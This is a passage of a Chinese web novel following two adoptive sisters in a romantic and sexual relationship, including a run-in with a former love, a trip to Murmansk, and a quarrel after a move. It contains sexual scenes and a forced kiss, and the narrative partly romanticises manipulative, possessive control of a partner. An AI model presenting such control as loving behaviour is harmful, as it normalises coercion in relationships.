她闭上眼睛,抓着乱糟糟的头发,隔着被子,把脑袋埋在膝盖上,深吸了一口气,试图把所有的记忆全部清出脑海。 起身找衣服,床前床后都没有找到,最后才在床头的被子底下,看见放着的新的内衣毛衣。 她愣愣坐在床边,看着堆叠整齐的衣物,再次陷入沉寂中。 她不知道自己怎么了。 或许,她早已疯了。 第27章 今年过年早,在一月底,距离不过半个月。 苏青沅今天也难得休息,姐妹俩中午吃完饭后,先去逛了超市。 从小到大,苏青沅一直都很喜欢和苏青荷一起逛超市,家里要添置什么东西,她都清楚,且井井有条。 苏青沅幼年没有母亲,父亲常年在外工作,纵然家里有保姆,但她一直都习惯自强独立,不止是学习上,在生活里,她也向来是游刃有余的。 相比之下,苏青荷倒没有这样的能力,或许也就因为是妹妹,不论什么时候,都有姐姐陪着她照顾她,先替她想着一切,所以她总是不管不顾地享受着姐姐为她安排好的一切。 苏青沅喜欢带着苏青荷穿梭在一排排玲琅满目的货架里,挑选她们家里共用的东西。 从什么样的洗发水,到什么牌子的护肤品,生活里每一样的细微,她都乐此不疲地替她安排着。 对苏青沅来说,这样平凡有烟火的日子,一直都有力量。像那些必需品一样,荷荷也是她生命里无法缺失的一部分。 出了超市,先把东西装进了车里,又从地下的电梯到上面的商场。 她们大包小包买了很多的衣服,一直逛到了下午近六点钟。 在四楼吃了苏青荷最爱的一家排骨饭。时间还早,寒假里有一批新的电影上线,苏青沅拉住她,问她有没有什么想看的。 苏青荷抬起头看大屏幕上的那些海报,不知怎么,她忽然想起乔楠。 高中那两年里,她和乔楠看了好多场的电影,有新上的,也有老电影,这样熟悉的电影院场景,她几乎本能地就想起她。 苏青沅牵着她的手,站在她身侧,看着她神情落寞地低垂着眼睫,不知在想什么,她喊了她好几声,才拉回她的思绪。 “在想什么?”苏青沅问她。 苏青荷恍惚回过神来,道:“没有,就看那个吧。” 她指了一个动漫片,是前段时间上映的,口碑很好,画面也很漂亮,只是都一直没有时间看。 苏青沅也看过去,知道这部片子在年轻人里很受欢迎。 电影时常近两个小时,七点半检票入场,因为靠近年底,又逢寒假,影厅里几乎坐满了,都是年纪不大的学生居多。 苏青沅无所谓看什么电影,她想的,也永远只是为了和荷荷在一起。 电影到后半程的时候,苏青沅转头,忽然发现旁边的人,脑袋歪着睡着了。 逛了整整一天,昨晚又没有睡好,她是累了。 苏青沅牵着她的手,轻轻拢了拢,放在掌心里,不觉头也歪着朝她靠过去。 影厅里断断续续一直有笑声,苏青荷却睡得熟,一直都没有醒。 直到快结束,她才迷迷糊糊醒过来,看了一个结尾。 一直想看的电影,到最后还是没有看完。 “困了么?”苏青沅问她。 苏青荷轻轻打了个呵欠,含糊着点了点头。 苏青沅看着她打呵欠打得眼泪都下来了,笑着伸手替她抹去,“就困成这样?” 牵起她的手,苏青沅带她离开。 出了大门,外面刮起大风,冬日的深夜寒风冷冽,吹得人都清醒了很多。 “冷么?”苏青沅停下来,站在苏青荷面前,伸手替她将羽绒服的帽子拉上来,帽子一圈毛茸茸的绒毛被风吹得乱动,几乎遮住了她整张脸,只露出一双大大的眼睛,她笑着,“你像小兔子。” 苏青荷一愣,抬眼对她对视,随后失笑说了一声“幼稚”,掉头就要走。 苏青沅笑着追上去,她对调过来,面对着她倒退往后走,眸光只落在她脸上,轻轻说:“荷荷,你自己还记得你有多久没有对我笑过了么?” 苏青荷被她的话怔住,她轻垂眼睫,开口说:“你别这样走,前面有栏杆拦住了。” 苏青沅轻抿唇笑,抬起眼,眸光看见不远处一道身影,倏地愣了下停住脚。 “怎么了?”苏青荷问她。 苏青沅下意识伸手将眼前的人按进怀里,苏青荷不明所以,趴在她怀里,要挣脱开,脑袋后的手掌紧紧压过来,不让她抬头,再次问:“怎么了,姐?” 苏青沅看见了乔楠。 就在她们不远处的报亭旁边。 乔楠也看见了她们,事实上,她也早就看见了她们。 放假回A市,她想见她,可又犹豫,她们约定好四年不见,她晚上无所事事,脑子里想着她们的从前,就跑来了她们常来的大夏影院,结果在检票的时候,就撞见了她们。 她们是同一场次的电影,她就离她不远的地方,看见苏青沅牵她的手,吻她的唇,看见她们相依偎着的缱绻………她没有勇气上前,她一直都没有勇气,她也不得不承认,自己是被荷荷抛弃的那一个。 或许爱她吧,可是依旧没有苏青沅重要。她能够舍弃她,却不能舍弃苏青沅。 苏青荷埋在身前人怀里,有些无法呼吸,她撑开她的怀抱,仰头问她:“姐你怎么了?” 苏青沅双手捧住她的脸,拇指指腹蹭她的唇,低眸轻轻说:“我想吻你。” 苏青荷惊了一下,抬脚就要走。 苏青沅却不容她走,伸手拉过她,没有丝毫犹豫,双手捧住她的脸,压头吻上去。 远处乔楠只觉得眼眶酸涩,风实在大,吹得她想落泪。 她被那画面刺痛了双眸,只觉得一颗心疼到几乎麻木。 咽下所有苦涩,乔楠转身离开。 苏青荷被迫着接受苏青沅这突如其来的吻,她一把推开她,狐疑着转头,下意识四处去寻找着什么。 苏青沅望着她的侧脸,也看向刚刚报亭处,发现人早已走远了。 她去牵她的手,温柔道:“在找什么,天太冷了,我们回家吧。” 苏青荷看着不远处马路上车马如龙,没有她熟悉的身影,她一个路口一个路口看过去,昏黄的灯光下,连风仿佛都染上了颜色。 “荷荷,荷荷……”苏青沅见她停住,不住地看她。 苏青荷转过头来看她,盯*着她的眼睛,停了好一会儿,才问她:“你看见谁了?” 苏青沅微怔,风吹起她的长发,发丝飘舞着,遮住了她看她的视线,她忍着心酸,笑说:“哪儿有什么人,走吧。” 苏青荷知道苏青沅在骗她,一个人在骗人的时候,神情永远是不自然的。她也永远理直气壮,可是这一刻,那双眼睛里有隐瞒的心虚。 苏青荷后退了两步,“你在骗我。” 苏青沅知道她猜了出来,是不是该说她们心有灵犀,半年不见面竟然也可以在这里碰见,没有人告诉她,她就可以笃定身后那个人是乔楠。 苏青沅心痛得像钝刀割肉,冷冽的寒风吹过面庞,她几乎站不住,视线变得模糊,她承认苦笑说:“是她,怎么,你要回头去找她么,她应该还没有走远。” 苏青荷气得掉眼泪,摇头问:“你为什么要那么做,上一次也是这样,这一次你还是要故技重施,你为什么要伤害她?!” “你爱她么?”苏青沅眼眶发红,不甘心再次问,“你在乎她,是不是?” 苏青荷眼睛里只剩下冷漠,道:“即便她是个不相干的人,我也不会用这种方式伤害她。” 苏青沅只觉讽刺,她冷笑着说:“不相干,她是不相干的人么,如果不在你心里占据一丝一毫的位置,你为什么又这样对我兴师问罪?” 苏青荷不想和她争辩这样没有意义的事情,她只是不满她用这样的方式,去对待伤害乔楠。 乔楠有多舍不得她,没有人会比她清楚,即便她们没有任何结果,她也不愿意伤害她,让她难过。 苏青荷掉头要走,苏青沅慌乱地上前抓住她,将人搂入怀里,“对不起,荷荷,我不是……我承认我是卑劣的,可都是因为我在乎你,我怕你动摇,怕她在你心里占据位置,甚至远超过我,我更怕你见到她,会随她一走了之,荷荷,你知道么,我真的怕……” 苏青荷闭上眼睛,眼泪掉下来,她踮起脚,仰头托唇吻上她,堵住了她所有接下来要说的话。 苏青沅彻底愣住,这是继昨晚荷荷第一次主动地吻她。 她屏住呼吸,几乎连心跳都停止了,她低头看她脸颊泪痕满面,轻声喊:“荷荷……” 苏青荷贴着她,脸上凌乱的碎发被眼泪沾湿贴在鬓旁,她轻低着眉,抵在她下颌上,轻声道:“不吵架,好不好?” 苏青沅捧着她的脸庞,替她擦拭脸上泪痕,答应道:“好。” 寒风凛冽,她们相拥离开。 回到家里,所有买的东西全都被扔在车上。 苏青沅洗完澡,身后的人忽然主动地围过来,搂住她的腰。 苏青沅有些受宠若惊,她伸手拉住她的手,转过身来看她,眼里带笑,“荷荷?” 苏青荷欺身抱住她,低头吻她的唇,像姐姐教给她的那样,细细地吻她。 苏青沅撑住她的肩膀,一时忽然不明白,她捧着她的脸庞,喊她:“荷荷,为什么?” 苏青荷半覆在她身前,像攀附墙而生的植物,她眼眶里聚满泪雾,渴求地望着她,颤声问:“你不要我吗?” 苏青沅看着她的眼睛,沉默了良久,想看透了她的心一样,手掌托在她脑后按下来,吻上她,说:“要。” 相缠的瞬间,苏青沅欺身而上。 她们像是长了同一颗心,苏青沅知道,不过是因为她害怕,这样的害怕,在乔楠出现的这一刻产生。 她已经无法去判断,究竟是荷荷要选择彻底忘记,还是因为乔楠的出现而失控。 可所有一切的反常,不过都是因为她在害怕。 而自己,是她这害怕之下,唯一能够索取的人。 第28章 新年即将来临,到处都洋溢着新一年的喜悦,苏青沅提前放了假,留在家里陪着妹妹。 除夕夜,姐妹俩在家里包饺子。 家里一直有初一吃饺子的习惯,每一年都如此,因为父亲是传统的人,所以这些习俗,一直都没有荒废。 小时候父亲也会带着她们,一家人和面擀皮包饺子。 到了半夜十二点,父亲会独自在老宅外放鞭炮,还会偷偷把压岁钱放在她们的枕头底下。很漂亮的两个红包封皮,一模一样。 这是父亲离开后,她们彼此在一起过的第二个新年。 苏青荷不会和面,但是擀的皮是最好的,不厚不薄又圆整。 苏青沅站在桌边,抬眼看见穿着围裙的人,低头擀皮擀得认真。发丝荡下来一律,遮住了她看她的视线。 她伸手替她拢在耳后,苏青荷愣了下,抬头看向她。 苏青沅笑:“没什么,这里沾到了面粉。” 说着,指腹在她脸颊上轻蹭,却一时忘记自己手上也有面粉,不小心沾了更多,怎么也蹭不掉。 苏青沅托起她的下颌,拿纸巾替她擦拭。 苏青荷轻垂着长睫,没有说话。 “后天生日,有没有想要的?”苏青沅轻轻问她。 苏青荷一时愣住,也忘记了自己的生日,她的生日足年足月,是大年初二。所以从小到大每一次过生日,所有的人都放假有时间,没有人的生日,会比她热闹。 似乎喜悦也变成了双份,所以生日的欢乐,也拥有同样的厚度。 她想起一年前,那是她十八岁的生日。 可是生日的当天,她却得到了她十八岁以来,最大的噩梦。 父亲与姐姐不是她的亲人,她和他们没有一点点的血缘关系。甚至她以为亲生的母亲,也根本不是她的。她连自己是谁,都不清楚。 最亲近的姐姐,也变成了另一个人,一个她从来没有见过的人。 她偏头躲开苏青沅的手指,低头继续擀皮,说:“你不是把小跳跳送给我了么?” 苏青沅笑道:“那算我的生日礼物,是你送我的。” 苏青荷微怔,说:“没有,那就是你送给我的,我什么都不缺,不用什么礼物了。” 苏青沅也仿佛一下想起一年前,她十八岁的当天。 父亲刚刚去世半年,她情绪并不好,虽然是过年,但也还是没什么兴致。那半年里,荷荷对她十分依赖,她也答应过生日那天,会一直陪着她。 那天早晨一睁眼,人还没彻底醒过来,就摊着手问她要礼物。 父亲走后,苏青沅就一直想要告诉她,她们没有血缘关系这件事。 只是她怕她伤心,所以就迟迟没有说。 后来临近她生日,她决定要在十八岁她成年这天告诉她,也一并告诉她,自己对她的情意。 或许真的不是一个好时机,她在心里盘算了无数次的事情,早被她削弱了伤害,却没有想过,那对荷荷,其实是一个致命的打击。 她不接受,更摒弃她的爱意。 苏青沅承认,自己是不堪且自私的,她无视荷荷的痛苦与挣扎,只为满足自己的私欲。 她急于捅破她们的关系,她想要更近一步,她一直都在等,等她长大,她以为她们可以顺理成章在一起,可事实证明,她那时候有多自大。 是她伤害了荷荷。 苏青沅轻轻垂下眼睫,捏着手里的面团,问她:“荷荷,你怪过我么?” 苏青荷也不看她,知道她们此刻想的是同一件事情。 “怪你就可以当做一切都没有发生过么?” 苏青沅指尖微顿,沉默住没有说话。 彼此无言,静谧的屋子里犹如沉寂的深渊,吞噬着她们之间所有的一切爱恨。 最后是苏青荷心软改口,她说:“没有,我没有怪你。” 苏青沅伸手捧过她的脸,低头吻上她,闭上眼睛轻蹭她的脸颊,无奈地道歉:“对不起荷荷。” 苏青荷睁开眼睛,感受到唇上她的柔软,她抿唇轻轻避开,仰起脸对她说:“没有,我真的没有怪你。我们无法分开,是不是?” 苏青沅凝望着她的眼睛,那双眼睛里,历经了一年多的风霜,其实早和从前不一样了。 她低头再次吻她,苏青荷仰起头闭上眼睛。 苏青沅将人拦腰抱起,苏青荷手里的擀面杖应声掉落在地,滚到了桌子底下,她攀住她的肩膀,心里砰砰地忐忑,说:“还没有包完。” “不包了,明早我起来包。”苏青沅抱她上楼。 洗了手,苏青沅拉开床旁抽屉,取出指套。 苏青荷在她怀里沉沦,一点点失去理智,同样的,这个世界也失去了苏青荷。她知道,这个世上,再也没有苏青荷了。她打碎了一个自己,又铸造了新的自己。 可没有区别的是,不论是从前的苏青荷,还是这一个新铸的,都是苏青沅一手调.教而成的。 苏青荷喘息着浑身颤抖,她低头看见了一个不一样的苏青沅,被情.欲操纵着彻底失控迷失。 齿舌轻磕在身体深处,苏青荷仰起头,忽然喊她:“姐……” 苏青沅双眸通红,从深处抬起头看她。 苏青荷伸手拽住了她,双手捧住她的脸,将她拉上来,主动地吻她,唇舌相缠间,有不一样的味道。 苏青荷心跳砰砰地,闭着眼睛,颤声说:“我不喜欢那样。” 苏青沅抿起唇笑,细细的吻她,答应道:“好。” 情.欲叫一切在这刻全部失控,苏青沅知道,自己诱惑住了荷荷,有多少爱意,她其实并无法确定和衡量,可是身体是奇妙的,它会比那颗心先接受了她。 苏青沅也承认自己是卑劣且不堪的,她还没有容许荷荷见过那道界限外的世界是什么样,就先一步剥夺了她的权利。 她的世界里只有她,她光明正大地,自私且卑鄙地叫荷荷只沦陷在她的攻势里。因为无从比较,所以任由她摆布。 近乎零点时刻,新的一年来了。 苏青沅通体占有了她,几乎是哄骗,她循循引导她,道:“荷荷,你爱我么,告诉姐姐,你爱我。” 苏青荷失去理智,本能由她驱使,她像发了疯,呢喃出口说:“我,我爱你。” “真的么?”苏青沅欣喜地问她。 苏青荷声音里蒙上哭腔,她伸手去抓那手腕,逼她停下,嗯了一声说:“真的。” “再告诉我一遍,你爱谁?” 苏青荷哭着说:“我爱你,我爱苏青沅。” 苏青沅苦涩失笑,终于在攀至高峰刻停歇下来,她感受到怀里的人依旧还在颤抖着,她怕她受凉,紧紧抱住她,低头轻轻吻她额前细密的汗水,“乖宝宝,姐姐也爱你,姐姐永远都爱你。” 新年来临,初一一整天,她们都在家里度过。 初二是她的十九岁生日,苏青沅还是想替她过,她不想她们后来,能够回忆的都是不堪和痛苦,她想要留住一些美好,属于她们之间共有的美好。 苏青沅想起来很多年前,荷荷曾说过想要看极光这件事。 于是,她提议说要带她去摩尔曼斯克。 整整几天,苏青荷都没有什么精力,情绪也并不高。 摩尔曼斯克在俄罗斯最北边,坐飞机都要好久,况且新年,机票酒店什么都没有安排,匆忙过去,她提不起一点力气。 她说:“算了,我不要过生日。签证没有办,机票也没有订,等全部弄完,不晓得要多久,没有时间,我不想去。” 可是苏青沅还是坚持要带她去,托起她的脸颊,温柔对她说:“都交给我,我保证,我们能在你开学前回来,好么?” 苏青荷望着她哄自己的神态,不自觉沦陷进去,她低低应了一声,又想起来,问:“那你不上班吗?” 苏青沅笑:“老板不上班,还怕谁管。” 苏青荷轻勾了下唇,又问她:“你平时上班忙吗?” 苏青沅说:“忙,比从前忙很多,所以等你毕业了,你就来替姐姐分担好么?” “可我念的是英语。” “那也不怕,公司有翻译部,各类语言的翻译都会需要,到时候,你就在翻译部上班,我相信,你的水平,会比大部分人都高。” 苏青荷看了看她,又把脸转过去,拒绝说:“我不要。” 苏青沅问:“为什么?” “那多没有意思,别人都知道我是你妹妹,我还会有什么成长和进步的空间呢,再说了,我对你的外贸生意,一点都没有兴趣。满大街都是英语翻译,一点都不稀缺。” 苏青沅笑,问她:“那你以后想要做什么?” 苏青荷说:“我想做文学翻译。” 苏青沅知道她的爱好,也更知道她其实有两方面的造诣,英语不过是一种语言工具,她一直都是喜欢文学,古今都有,国外文学偏多。 家里的书架上,也几乎全是她的藏书。 “A大就有附属的文学社,你是继续深造,还是想进文学社,我都支持。” “那我不和你一起工作,你会不会失望?”苏青荷看着她问。 苏青沅拉起她的手,吻她的指尖,笑着道:“怎么会呢,只要你在我身边,其他的我都不在乎。荷荷,你知道么,你其实永远都是我的骄傲。我要你去追求你热爱的,我要你在人群里闪闪发光,我要你永远拥有热切的快乐。” 苏青沅愿意宠着她,她不需要她的荷荷为此付出任何什么。 只要她能够开心快乐,她可以把全世界都捧给她。 苏青荷望着她,窗外的光芒照射进来,落在她身上,目光里有片刻的恍惚与迟疑,喉间略微酸涩,她轻轻喊她:“姐,为什么,你要对我这样好?” “因为你是我唯一的荷荷,我爱你,对你好,从来都不需要理由。” 第29章 她们在莫斯科转机,前往摩尔曼斯克,后来又赶往捷里别尔卡小镇。 北极地的世界像一片冰雪琉璃,她们在这里,看了一场浪漫而梦幻到极致的极光。 漫天飞光,像搬倒的浓绿色颜料,铺满整片天空,魔幻而浪漫。 这是一片净土,远离所有的尘世和喧嚣,在这里,仿佛整个世界只剩下她们彼此。 苏青沅曾问过,如果这个世界只剩下她们两个人,她会不会抛弃她。 这一刻,仿佛假设也成了真。 苏青荷知道,不论那是假设还是真的,她都没有办法抛弃姐姐。 她们在摩尔曼斯克待了整整十四天,看了一场又一场的极光。 苏青荷仰头望着那梦幻到不真实的天空,眼眶渐渐模糊,耳边也被嘈杂的声音淹没,除了她的心跳声,她什么也听不见了。 这是她十九岁的生日,荒诞也由此刻开启,她听见耳边的有人在叫她,可是她听不清,再回过神时,才反应过来,那是三年后的苏青荷。 大四几乎没什么课程了,最重要的也就是本科的毕业论文。 苏青荷一早就开始了准备,从选题到确定纲论,再到正文,后又一次又一次修缮,最后到正式定稿,再到问答环节结束。六月,正式迎来毕业季。 在吵吵嚷嚷里的毕业照拍摄里,结束了她四年的A大校园生活,大四下半年开始,苏青荷就一直在A大附属的文学社里实习。 苏青荷喜欢写作,大学里,她找到了一个新的爱好和情感宣泄方式。 她写了好几本的,都是先有的英文原版,而后又翻译成中文。 其中有两本还出版了,在国外上架。但还是中文先有热度,才带火了英文版本,所有人读者为她的才气和能力折服,不过短短几年,她成了小有名气的作家。 文学社里的工作在五六月份开始忙碌,苏青荷一边要忙着论文,一边又要赶社里的定稿,直忙得饭也没有时间吃。 文学社离苏青沅的公司不远,开车十分钟就到了。 苏青沅也常常中午跑出来,去找她吃饭。 电话没有接,苏青沅开车到了文学社楼下,直走到前台,所有人都认识她。小张看见她,甜甜喊了一声青沅姐,然后又大着嗓门朝里面喊:“青荷,你姐姐来啦!!” 所有人都知道,苏青沅是苏青荷的姐姐,也知道她们姐妹感情极好,苏青沅对这个妹妹,也几乎宠溺到了极点。 人人都羡慕苏青荷,她有这样一个好的姐姐。 苏青沅笑着和她点头,目光又往里寻,终于在靠窗的位置,看见背对着她,在整理稿子的人。 听见有人喊,又转头来看她,办公室里乱糟糟,到处对着白花花的纸张装订,鸡飞狗跳一般,她们隔着人群对视。 苏青沅朝她抿起唇笑,苏青荷放下手里的东西,穿着高跟鞋跑过来,笑问:“你怎么来了,有事么?” 苏青沅说:“吃饭了。” “吃饭?”苏青荷一愣,抬起手腕一看,已经快要十二点了,她忙得连时间都忘记了。 苏青沅宠溺着笑说:“你又忘记吃饭了。” 苏青荷也失笑,吐了口气说:“我一点饿的感觉都没有,早上一个蛋饼都没吃完,现在还在桌子上,我热一热就行了,还有事情没有忙完,今天一定要交稿了。” 苏青沅拽住她的手,“那也得吃饭,你这样,迟早要把自己胃弄坏,蛋饼怎么行,营养太不够了。” 说着,把她手里的一沓纸张就扔在前台,拽着她往外走。 一旁小张笑着接过那沓稿子,抱在怀里,故意帮腔道:“就是就是,青沅姐,你快拉这个工作狂魔走,你不来的时候,她能一天不吃,就这还说要减肥,怪不得她身材那么好,腰是腰胸是胸的,长这么漂亮还要减肥,还让不让人过啦!” 苏青沅笑着将人拉走,往电梯间走,手臂搂住她的腰,她今天穿了一件束腰青色长裙,衬得腰肢纤细,盈盈一握,苏青沅不由地爱不释手,隔着衣服扣她的腰,低头亲呢地靠近她,说:“什么时候减肥的,我怎么不知道?”说着,低头要吻她的眼睛。 电梯门忽然开了,里面有人,苏青荷惊了一下,忙躲开了苏青沅的靠近。 电梯里的人也一愣,看见外面的姐妹俩,笑了一下,说:“又来接青荷吃饭?” 苏青沅站定了,认得她是荷荷的同事,她们关系不错经常在一起吃饭,遂笑着嗯了一声。 进了电梯,苏青沅带着人离开。 电梯间走廊里,文蓝还愣在那里,脑子里浮现出刚刚的画面,一时有些恍惚,迟迟没有动。 转身进社里,刚走到门口,小张喊住她:“诶文蓝姐,你刚刚来有没有撞见青沅姐和青荷。” 文蓝不明所以,说:“看见了。” 小张满脸花痴感慨道:“青沅姐真是好漂亮,人又那么好,唉你常常和青荷在一起,有没有听说,青沅姐交女朋友什么的啊?” 文蓝是一年前来文学社的,比青荷大了一岁,但因为文学社这两年只招了她们两个人,再加上她们办公位置靠在一块,平时任务工作也经常凑在一起,所以相比别的同事,她们更加熟悉一些。 文蓝想起自己无意中撞见的画面,微微有些失神,被小张喊了好几声,才反应过来,道:“我我也没有听说,应该没有吧。” 小张脸上有娇羞,托着腮笑着说:“要是青沅姐看上我就好了。” 文蓝没有再停留,笑着转身进了办公室。 楼下车就停在路边,盛夏六月的A市,照样热火朝天。 她们从树荫下穿过去,一上车,苏青荷系安全带,一边问她:“去吃什——” 头还未抬起,眼前的人忽然欺身过来,低头攫住她的唇。 苏青荷轻愣了下,背贴在座椅上,屏住呼吸迟迟没有动。 一吻作罢,苏青沅才睁开眼,目光缱绻问她:“你想吃什么?” 苏青荷轻抿唇,唇上还残留有她的气息,她低眸看她长长的眼睫,轻声说:“去吃日料吧,我知道有一家,文蓝上次带我去的。” 苏青沅又啄了一下她的唇,温柔说:“好。” 整整四年,她们一直在一起。 身边的人来来往往,停停留留,最后她们还是只有彼此。 日料店离得不远,只不过停车地方稍微有点偏僻,又值饭点,所以找车位多费了一点时间。 步行穿过一条街,苏青荷穿着高跟鞋,走在地砖小路上。 苏青沅一手搂着她的腰,一手撑着遮阳伞,淡声开口道:“今晚我们回蓬溪住吧,那边已经收拾得差不多了,还有些杂物,等回头有时间了再整理。” 她们今年换了新家,原来的别墅年头有些久,装修也不好,再加上离她们上班的地方也不近,为了便利,苏青沅在附近的蓬溪,买了新的独栋别墅。 一月前就说要住进去,但旧家新家的东西来来回回要搬要收拾,她们工作忙,平时也没有时间,弄了将近一个月才弄好。 苏青荷说:“好。” 吃完饭,差不多近一点钟。 苏青沅送她回社里,自己又回了公司上班。 到晚上五点半,苏青沅来接她回新家。 苏青荷之前来过一次,倒也没有细看,只知道这里的地段是A市里数一数二的。 她的审美向来好,装修也是按照她的标准专门请人来做的设计。 苏青荷仰头看着,比之前旧家精致的不止一点。 苏青沅站在她身后,笑说:“之前一直说要带你来看看,你总说没时间,也是第一次见新家了,怎么样,喜欢吗?” 苏青荷仰头看着,点头说:“很好。” 苏青沅知道她喜欢,又拉着她的手上二楼,在主卧旁边推开一道门,说:“这一间是书房,比原先的大了一倍还多,能想到的设施,我都替你设计进去了,架子上的书,有你最爱的毛姆,我新添的一版藏品。以前旧家的书,我也叫人搬来了,知道你每本书的位置都有顺序,所以是原模原样原封不动放上去的,也不用担心找不到。以后,想要写作办公的时候,就可以在这边。” 苏青沅又拉着她从阳台的门穿过去,说:“这边和卧室是连着的,还有跳跳的阳台,也都是连着的,以后要是想跳跳,直接从这边穿过去就行。” 苏青荷看着这所有贴心的设计,都是以她为主,她已经不记得这样的事情有多少件了,只是好像理所应当似的认定,自己永远占据着姐姐世界里的中心位置。 姐姐说的没有错,自己总是理所应当地享受着她所有的好。 从书房出来,对面还有一间屋子,苏青荷问:“这一间是做什么的?” “这一间是客房,我暂时把以前旧家的东西放了进来,但还是没有归置好,都是一些不常用的东西,你初中高中的书,我也都留在里面。” 苏青荷推门进屋,看着地上摆着大大小小的箱子。她走进去,看见窗边挂了一个紫色的风铃。 “那个风铃,还是小时候我做给你的。”苏青荷忽然说。 苏青沅抬眼看见,记得是她上四年级的时候,学校里有手工课,她做了一只风铃,送给她。 那时候荷荷刚来苏家没有几年,起初她们的关系并不好,苏青沅在失去母亲没多久后,父亲就领了一个自称是她妹妹的女孩儿回来。 纵然知道这个妹妹那几年里总是有意讨好她,她还是不喜欢她。 可是后来不知道为什么变了,大概是她十二岁那年生病住院,那个小小的身影守在她的床前,不管父亲怎么拉她,她都哭着喊着不肯走,说怕姐姐死掉,怎么也不肯走。 总是对调了过来,小时候是荷荷缠着她,后来是变成她无法松开荷荷的手。 那个风铃被摔碎过,因为那时候她们在吵架,苏青沅生气地摔坏在地上,后来苏青荷又用胶带粘,才粘了起来。 直到此刻,那只风铃上,也还是有胶带的痕迹。 往事不堪回首,其实她们有太多太多共有的回忆。家里的每一样的东西,也都曾记录着她们之间的一切。 苏青荷在屋里翻着过去的东西,有一本相册,因为父亲爱照相,所以从小到大,姐妹俩之间的照片是最多的。 足足有好几个大相册,记录着她到苏家后的生活。 后来一直到上了高中住校,才一下子少了很多。算起来,也是因为青春期不爱拍照的缘故。 这些共有的回忆,也同样留住了苏青沅。她翻到了荷荷小时候给她写的信,是她第一次中考后,写给她的。文笔稚嫩,却又有稚气的可爱,苏青沅笑着回头喊她:“荷荷,你看这——” 视线触及到身后的人手里拿着的东西,苏青沅声音一下停住,脸上笑容也一点点收了起来。 苏青荷听见她的声音,也察觉到身后人的目光,忙将手里那只熊猫挂件又塞回了箱子里。 第30章 苏青沅望着她的背影,双眸里有晦暗不明的情绪,直沉默许久。 苏青荷知道她看见了,房间里沉寂的压迫,有些让人微微透不过气来,她主动转过身来问她:“什么?” 苏青沅与她对视,轻轻将手里那张信纸又重新折好放进了笔记本里。 她走过去,当着她的面伸手从箱子里拿出那只熊猫挂件,放在掌心里低头看,即便过了四年,也依旧还是和新的一样。 “我记得,四年前,我就将它扔进了垃圾桶里。” 她要将挂件拿走,苏青荷一把抓住她的手腕,求她:“我想我有权利保留自己关于青春的记忆。” 苏青沅低头看她攀住自己泛白的指尖,停了一会,有些落寞地问:“究竟是谁的记忆呢?” 苏青荷盯着她,说:“你无法在我脑子里放一把火,把所有一切都烧得干干净净!我说了,只是青春的记忆,她也是我青春的一部分。” 苏青沅沉默,松开手任由着她拿走了那只熊猫挂件。她转身离开,出了房间。 苏青荷愣站在原地,看着她落寞的背影,一瞬间又有些无奈和心软。 手心里的小熊猫刺戳着她的掌心,她低下头看,此刻思绪几乎被乔楠全部填满。 仿佛已经是很遥远的过去了,这四年来,她一次也没有见到乔楠。苏青荷知道,大一寒假那天,她大概出现过一次,在大夏电影院。 再后来,直到今天,她都没有再见到她。 只去年底,她从陈郁微那里听说,乔楠出国了。 她们有一个四年的约定,四年早已过去,但是乔楠没有出现。 苏青荷知道,乔楠不会出现了。她失去乔楠,是在四年前。 可是,不知道为什么,她没有自己想象中那样宏大的哀伤。 时光无法倒流,平淡也比她想象中的要有力量,它冲淡了她所有的感受。爱与恨,痛苦的,不舍的,喜悦的,无奈的……统统都被时光抚平。她以为她爱乔楠,可是这一刻,她才忽然发觉,一切都已经物是人非。 那像从前,从前的从前。 这只熊猫挂件,承载着的不只是乔楠,更多的是她逝去不在的年少青春。 晚上深夜,换了新家,苏青荷有些不习惯。 姐姐躺在她身旁,背朝着她。 窗帘没有拉上,今夜窗外有月亮,把没有开灯的房间也照得明亮。 苏青荷望着眼前的身影,知道她在生气。 这几年,她们很少会论及到这些事情,不约而同地,她们谁也没有提过乔楠。如果不是搬家,无意中看见了那只挂件,大概她们也不会有这样的争端。 她知道,乔楠与她的青春无法分割。 可是在姐姐眼里,这却是要注定分割且永远都不容许关联的存在。 那是一种情感的占有。 苏青荷主动贴过去从身后抱住她的腰,将脸颊贴在她的背上,“对不起,姐,我答应你,永远都不会再提这件事。” 苏青沅闭眼侧身躺在那里,感受到腰间的手臂紧紧环住她。 她没有动,只是闭着眼睛不肯说话。 苏青荷知道她没有睡,掌心贴在她心脏上,感受着这一刻跳动的鲜活,她轻轻又紧了紧她的腰,托着长音喊她:“姐……” 苏青荷倾身探起上半身,攀住她,低头去吻她的耳垂,再到脸颊。 苏青沅睁开眼,心里依旧带着气,感受到耳后湿润的吻一点点爬过来,冰凉的手指掰过她的脸,然后吻上她的唇。 苏青荷看她睁开眼睛盯着自己,再次和她道歉:“真的对不起,姐,我不知道和你怎样说,只是一切都和你想的不一样。” 苏青沅望着她,语气冷冰冰地问:“那是什么样的?是你怕我生气*,故意色诱我,然后我就像从前那样,欣喜若狂地认定只要你愿意主动靠近我,我就什么都不计较地原谅你,让所有的不愉快在这一刻烟消云散,再等着你哪天再次无意中提起,然后重复所有这样的情绪,是么?” 苏青荷隔着昏暗看她晶亮的双眸,一时怔住说不出话来。 苏青沅撑手起身靠在床头,长眸微垂,不肯看她,沉默了许久才淡声道:“荷荷,问题没有解决。一个吻,化解不了我心里的疙瘩。” 苏青荷低下头,问:“那你要我怎么做呢?” 苏青沅看着她,心底忽然深深升起一种无力。 她起身下床,留她一个人,转身就要走,说:“我想起老宅还有点东西要拿,今晚就不回来了,晚上你自己睡吧。” 苏青荷一怔,看着她要走,她急忙叫住她:“姐——” 她跪坐在床边,声音蒙上一层哭腔,朝她张开手,挽留她:“你不要走,对不起,真的对不起……我答应你,我永远都不会再提起关于她的一切,求你,你不要走……” 苏青沅站在门边,手指扶上门把手,没有回头,听见身后她带着哭声的道歉和挽留,心里微微泛起苦涩与心疼。 可是这一回没有再心软,苏青沅深吸了口气,决绝地拉开房门,头也没有回地离开。 独剩苏青荷一人留在房间里,她跌坐在床上,眼泪迷蒙上来,遮住了所有的视线。她啜泣地捂住脸庞,只觉得此刻一颗心疼得几乎无法呼吸。 苏青沅没有回来,也没有回老宅。 一连好几天,她都没有再出现。 苏青荷浑浑噩噩地被社里繁忙的工作淹没,每天两点一线,她也从来没有觉得,时间这样漫长,长到她像失去一切可以使她情绪波动的事物。 曾几何时,她曾渴望过自由。 她甚至想过,要去一个谁都不认识她的地方生活,彻底地摆脱这一切。 可是此刻这样的日子就在眼前,她却忽然又找不到一点的快乐和意义了。 苏青荷承认,她在乎姐姐。 